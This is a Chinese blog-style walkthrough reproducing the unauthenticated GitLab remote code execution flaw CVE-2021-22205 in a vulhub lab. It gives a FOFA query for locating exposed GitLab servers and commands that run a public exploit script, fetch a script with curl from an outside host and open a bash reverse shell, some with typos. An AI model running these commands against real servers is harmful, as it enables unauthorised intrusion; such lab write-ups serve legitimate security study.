Gitlab无需认证RCE漏洞复现(CVE-2021-22205)

gitlab介绍

  • GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。
  • GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,并在此基础上搭建起来的 Web服务。

漏洞介绍

  • 由于 GitLab 没有正确验证传递给文件解析器的图像文件,攻击者可利用该漏洞在服务端进行远程命令执行。
  • 由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用,社区版(CE)和企业版(EE)皆受影响。
  • 4月15日,GitLab官方发布安全更新修复了此GitLab命令执行漏洞(CVE-2021-22205),由于GitLab中的ExifTool没有对传入的图像文件的扩展名进行正确处理,攻击者通过上传特制的恶意图片,可以在目标服务器上执行任意命令。

漏洞编号

  • CVE-2021-22205

漏洞等级

该漏洞CVSS评分:9.9
危害等级:严重

影响版本

11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3

FOFA 查询

app="GitLab"

环境搭建(vulhub环境搭建)

在这里插入图片描述
在这里插入图片描述

漏洞复现

https://github.com/Al1ex/CVE-2021-22205
在这里插入图片描述

第一步 漏洞检测

python CVE-2021-22205.py -v true -t http://192.168.253.134:8080
在这里插入图片描述

第二步 dnslog解析

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "ping "
在这里插入图片描述

第三步 服务器写入文件

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.sh"
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "test > /tmp/1.txt"

第三步 反弹shell

python CVE-2021-22205.py  -a  true -t http://192.168.253.134:8080/ -c "echo 'bash -i >& /dev/tcp/192.168.253.128/4444 0>&1' > /tmp/1.sh
python CVE-2021-22205.py  -a  true -t http://192.168.253.134:8080/ -c "chmod +x /tmp/1.sh"
python3 CVE-2021-2205.py -a true -t http://192.168.253.134:8080/ -c "/bin/bahs /tmp/1.sh"

在这里插入图片描述
在这里插入图片描述

修复建议

  • 官方升级

目前官方已发布新版本修复了该漏洞,请受影响的用户尽快升级至最新版本进行防护,
官方下载链接:https://about.gitlab.com/update/

  • 临时防护措施

若相关用户暂时无法进行升级操作,可使用白名单限制对Web端口的访问。

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责

摘抄


为世界进文明,为人类造幸福,

以青春之我,创建青春之家庭,青春之国家,

青春之民族,青春之人类,青春之地球,

青春之宇宙,资以乐其无涯之生。

– 李大钊 《觉醒年代》


本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
)">
< <上一篇
下一篇>>